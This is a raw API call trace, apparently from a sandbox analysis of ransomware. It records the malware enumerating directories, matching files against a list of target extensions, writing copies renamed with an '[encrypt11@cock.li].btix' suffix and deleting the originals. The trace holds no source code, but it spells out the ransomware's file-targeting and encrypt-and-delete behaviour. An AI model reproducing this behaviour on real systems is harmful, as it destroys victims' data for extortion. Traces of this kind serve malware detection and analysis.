(in: hFile=0x3a0, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.984] WriteFile (in: hFile=0x394, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0160.984] SetEndOfFile (hFile=0x394) returned 1 [0160.984] CloseHandle (hObject=0x394) returned 1 [0160.984] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.984] SetEndOfFile (hFile=0x3a0) returned 1 [0160.985] CloseHandle (hObject=0x3a0) returned 1 [0160.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.986] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0279644.wmf")) returned 1 [0160.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF") returned 68 [0160.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF") returned 68 [0160.987] lstrlenW (lpString=".doc") returned 4 [0160.987] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.987] lstrlenW (lpString=".docx") returned 5 [0160.987] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0160.987] lstrlenW (lpString=".pdf") returned 4 [0160.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.987] lstrlenW (lpString=".xls") returned 4 [0160.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.987] lstrlenW (lpString=".xlsx") returned 5 [0160.987] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0160.987] lstrlenW (lpString=".ppt") returned 4 [0160.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF") returned 68 [0160.987] lstrlenW (lpString=".zip") returned 4 [0160.987] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.987] lstrlenW (lpString=".rar") returned 4 [0160.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.987] lstrlenW (lpString=".bz2") returned 4 [0160.987] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.987] lstrlenW (lpString=".7z") returned 3 [0160.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF") returned 68 [0160.988] lstrlenW (lpString=".dbf") returned 4 [0160.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF") returned 68 [0160.988] lstrlenW (lpString=".1cd") returned 4 [0160.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF") returned 68 [0160.988] lstrlenW (lpString=".jpg") returned 4 [0160.988] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.989] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.989] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281008.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281008.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0160.990] GetLastError () returned 0x0 [0160.990] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x94c4, lpOverlapped=0x0) returned 1 [0161.074] WriteFile (in: hFile=0x394, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x94d0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x94d0, lpOverlapped=0x0) returned 1 [0161.075] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.075] WriteFile (in: hFile=0x394, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0161.075] SetEndOfFile (hFile=0x394) returned 1 [0161.075] CloseHandle (hObject=0x394) returned 1 [0161.075] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.075] SetEndOfFile (hFile=0x3a0) returned 1 [0161.076] CloseHandle (hObject=0x3a0) returned 1 [0161.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281008.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0161.076] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281008.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281008.wmf")) returned 1 [0161.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281008.WMF") returned 68 [0161.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281008.WMF") returned 68 [0161.077] lstrlenW (lpString=".doc") returned 4 [0161.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.077] lstrlenW (lpString=".docx") returned 5 [0161.077] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0161.077] lstrlenW (lpString=".pdf") returned 4 [0161.077] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.077] lstrlenW (lpString=".xls") returned 4 [0161.077] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.077] lstrlenW (lpString=".xlsx") returned 5 [0161.077] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0161.077] lstrlenW (lpString=".ppt") returned 4 [0161.077] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281008.WMF") returned 68 [0161.078] lstrlenW (lpString=".zip") returned 4 [0161.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.078] lstrlenW (lpString=".rar") returned 4 [0161.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.078] lstrlenW (lpString=".bz2") returned 4 [0161.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.078] lstrlenW (lpString=".7z") returned 3 [0161.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281008.WMF") returned 68 [0161.078] lstrlenW (lpString=".dbf") returned 4 [0161.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281008.WMF") returned 68 [0161.078] lstrlenW (lpString=".1cd") returned 4 [0161.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281008.WMF") returned 68 [0161.078] lstrlenW (lpString=".jpg") returned 4 [0161.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.085] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.085] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281630.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0161.088] GetLastError () returned 0x0 [0161.088] ReadFile (in: hFile=0x37c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x31dc, lpOverlapped=0x0) returned 1 [0161.399] WriteFile (in: hFile=0x374, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x31e0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x31e0, lpOverlapped=0x0) returned 1 [0161.400] ReadFile (in: hFile=0x37c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.400] WriteFile (in: hFile=0x374, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0161.400] SetEndOfFile (hFile=0x374) returned 1 [0161.767] CloseHandle (hObject=0x374) returned 1 [0161.775] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.775] SetEndOfFile (hFile=0x37c) returned 1 [0161.776] CloseHandle (hObject=0x37c) returned 1 [0161.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0161.776] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281630.wmf")) returned 1 [0161.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF") returned 68 [0161.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF") returned 68 [0161.778] lstrlenW (lpString=".doc") returned 4 [0161.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.778] lstrlenW (lpString=".docx") returned 5 [0161.778] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0161.778] lstrlenW (lpString=".pdf") returned 4 [0161.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.778] lstrlenW (lpString=".xls") returned 4 [0161.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.778] lstrlenW (lpString=".xlsx") returned 5 [0161.778] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0161.778] lstrlenW (lpString=".ppt") returned 4 [0161.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF") returned 68 [0161.778] lstrlenW (lpString=".zip") returned 4 [0161.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.778] lstrlenW (lpString=".rar") returned 4 [0161.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.778] lstrlenW (lpString=".bz2") returned 4 [0161.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.778] lstrlenW (lpString=".7z") returned 3 [0161.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF") returned 68 [0161.778] lstrlenW (lpString=".dbf") returned 4 [0161.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF") returned 68 [0161.778] lstrlenW (lpString=".1cd") returned 4 [0161.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF") returned 68 [0161.778] lstrlenW (lpString=".jpg") returned 4 [0161.778] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.781] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.781] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285462.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0161.782] GetLastError () returned 0x0 [0161.782] ReadFile (in: hFile=0x37c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x388a, lpOverlapped=0x0) returned 1 [0162.086] WriteFile (in: hFile=0x374, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x3890, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x3890, lpOverlapped=0x0) returned 1 [0162.088] ReadFile (in: hFile=0x37c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.088] WriteFile (in: hFile=0x374, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0162.088] SetEndOfFile (hFile=0x374) returned 1 [0162.088] CloseHandle (hObject=0x374) returned 1 [0162.088] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.088] SetEndOfFile (hFile=0x37c) returned 1 [0162.089] CloseHandle (hObject=0x37c) returned 1 [0162.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0162.089] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285462.wmf")) returned 1 [0162.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF") returned 68 [0162.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF") returned 68 [0162.090] lstrlenW (lpString=".doc") returned 4 [0162.090] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.090] lstrlenW (lpString=".docx") returned 5 [0162.090] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0162.090] lstrlenW (lpString=".pdf") returned 4 [0162.090] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.090] lstrlenW (lpString=".xls") returned 4 [0162.090] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.090] lstrlenW (lpString=".xlsx") returned 5 [0162.090] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0162.090] lstrlenW (lpString=".ppt") returned 4 [0162.090] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF") returned 68 [0162.091] lstrlenW (lpString=".zip") returned 4 [0162.091] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.091] lstrlenW (lpString=".rar") returned 4 [0162.091] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.091] lstrlenW (lpString=".bz2") returned 4 [0162.091] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.091] lstrlenW (lpString=".7z") returned 3 [0162.091] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF") returned 68 [0162.091] lstrlenW (lpString=".dbf") returned 4 [0162.091] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF") returned 68 [0162.091] lstrlenW (lpString=".1cd") returned 4 [0162.091] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF") returned 68 [0162.091] lstrlenW (lpString=".jpg") returned 4 [0162.091] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.092] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.092] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285792.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0162.093] GetLastError () returned 0x0 [0162.093] ReadFile (in: hFile=0x37c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x2eb4, lpOverlapped=0x0) returned 1 [0162.233] WriteFile (in: hFile=0x374, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x2ec0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x2ec0, lpOverlapped=0x0) returned 1 [0162.235] ReadFile (in: hFile=0x37c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.235] WriteFile (in: hFile=0x374, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0162.236] SetEndOfFile (hFile=0x374) returned 1 [0162.236] CloseHandle (hObject=0x374) returned 1 [0162.236] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.236] SetEndOfFile (hFile=0x37c) returned 1 [0162.237] CloseHandle (hObject=0x37c) returned 1 [0162.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0162.237] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285792.wmf")) returned 1 [0162.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF") returned 68 [0162.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF") returned 68 [0162.238] lstrlenW (lpString=".doc") returned 4 [0162.238] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.238] lstrlenW (lpString=".docx") returned 5 [0162.238] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0162.238] lstrlenW (lpString=".pdf") returned 4 [0162.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.238] lstrlenW (lpString=".xls") returned 4 [0162.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.238] lstrlenW (lpString=".xlsx") returned 5 [0162.238] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0162.238] lstrlenW (lpString=".ppt") returned 4 [0162.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF") returned 68 [0162.238] lstrlenW (lpString=".zip") returned 4 [0162.238] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.238] lstrlenW (lpString=".rar") returned 4 [0162.238] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.238] lstrlenW (lpString=".bz2") returned 4 [0162.238] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.238] lstrlenW (lpString=".7z") returned 3 [0162.238] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF") returned 68 [0162.238] lstrlenW (lpString=".dbf") returned 4 [0162.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF") returned 68 [0162.238] lstrlenW (lpString=".1cd") returned 4 [0162.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF") returned 68 [0162.238] lstrlenW (lpString=".jpg") returned 4 [0162.239] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.239] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.239] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285808.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285808.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 99 os_tid = 0xfd4 [0146.450] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b50e08 [0146.450] lstrlenW (lpString="C:") returned 2 [0146.450] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x329fcf8 | out: lpFindFileData=0x329fcf8) returned 0x6c1a20 [0146.450] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0146.450] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0146.450] lstrlenW (lpString="$GetCurrent") returned 11 [0146.450] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0146.450] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b60e10 [0146.451] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0146.451] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 0x6c1660 [0146.451] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.451] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.451] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0146.451] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0146.451] lstrlenW (lpString="Logs") returned 4 [0146.451] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0146.451] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.451] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0146.451] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c1ae0 [0146.452] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.452] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.452] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[encrypt11@cock.li].btix") returned 74 [0146.452] lstrlenW (lpString=".1cd") returned 4 [0146.452] lstrcmpiW (lpString1=".1cd", lpString2="btix") returned -1 [0146.452] lstrlenW (lpString=".3ds") returned 4 [0146.452] lstrcmpiW (lpString1=".3ds", lpString2="btix") returned -1 [0146.453] lstrlenW (lpString=".3fr") returned 4 [0146.453] lstrcmpiW (lpString1=".3fr", lpString2="btix") returned -1 [0146.453] lstrlenW (lpString=".3g2") returned 4 [0146.453] lstrcmpiW (lpString1=".3g2", lpString2="btix") returned -1 [0146.453] lstrlenW (lpString=".3gp") returned 4 [0146.453] lstrcmpiW (lpString1=".3gp", lpString2="btix") returned -1 [0146.453] lstrlenW (lpString=".7z") returned 3 [0146.453] lstrcmpiW (lpString1=".7z", lpString2="tix") returned -1 